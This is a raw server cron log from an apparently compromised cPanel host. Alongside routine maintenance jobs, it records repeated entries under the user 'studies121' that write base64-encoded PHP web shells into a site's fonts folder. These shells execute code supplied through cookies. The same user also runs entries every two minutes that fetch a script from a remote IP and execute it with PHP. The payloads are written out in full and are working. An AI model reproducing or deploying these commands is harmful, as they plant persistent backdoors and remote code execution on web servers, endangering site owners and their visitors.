Feb 22 13:29:01 ip-184-168-122-23 CROND[31171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:29:01 ip-184-168-122-23 CROND[31174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:29:01 ip-184-168-122-23 CROND[31175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:29:01 ip-184-168-122-23 CROND[31176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:30:01 ip-184-168-122-23 CROND[31483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:30:01 ip-184-168-122-23 CROND[31486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31495]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:30:01 ip-184-168-122-23 CROND[31500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:31:01 ip-184-168-122-23 CROND[31831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:31:01 ip-184-168-122-23 CROND[31836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 13:31:01 ip-184-168-122-23 CROND[31834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:31:01 ip-184-168-122-23 CROND[31833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:31:01 ip-184-168-122-23 CROND[31835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:32:01 ip-184-168-122-23 CROND[32176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:32:01 ip-184-168-122-23 CROND[32178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:32:01 ip-184-168-122-23 CROND[32179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:32:01 ip-184-168-122-23 CROND[32181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:32:01 ip-184-168-122-23 CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:33:01 ip-184-168-122-23 CROND[32498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:33:01 ip-184-168-122-23 CROND[32500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:33:01 ip-184-168-122-23 CROND[32502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:33:01 ip-184-168-122-23 CROND[32503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:34:01 ip-184-168-122-23 CROND[381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:34:01 ip-184-168-122-23 CROND[384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:34:01 ip-184-168-122-23 CROND[383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:34:01 ip-184-168-122-23 CROND[385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:34:01 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:35:01 ip-184-168-122-23 CROND[722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:35:01 ip-184-168-122-23 CROND[723]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 13:35:01 ip-184-168-122-23 CROND[728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:35:01 ip-184-168-122-23 CROND[729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:35:01 ip-184-168-122-23 CROND[730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:35:01 ip-184-168-122-23 CROND[733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:35:01 ip-184-168-122-23 CROND[737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 13:35:01 ip-184-168-122-23 CROND[738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:36:01 ip-184-168-122-23 CROND[1141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:36:01 ip-184-168-122-23 CROND[1142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:36:01 ip-184-168-122-23 CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:36:01 ip-184-168-122-23 CROND[1144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:36:01 ip-184-168-122-23 CROND[1147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:37:01 ip-184-168-122-23 CROND[1451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:37:01 ip-184-168-122-23 CROND[1453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:37:01 ip-184-168-122-23 CROND[1452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:37:01 ip-184-168-122-23 CROND[1455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:38:01 ip-184-168-122-23 CROND[1759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:38:01 ip-184-168-122-23 CROND[1760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:38:01 ip-184-168-122-23 CROND[1761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:38:01 ip-184-168-122-23 CROND[1763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:38:01 ip-184-168-122-23 CROND[1764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:39:01 ip-184-168-122-23 CROND[2094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:39:01 ip-184-168-122-23 CROND[2096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:39:01 ip-184-168-122-23 CROND[2099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:39:01 ip-184-168-122-23 CROND[2100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:39:01 ip-184-168-122-23 CROND[2098]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:40:01 ip-184-168-122-23 CROND[2430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:40:01 ip-184-168-122-23 CROND[2435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:40:01 ip-184-168-122-23 CROND[2437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
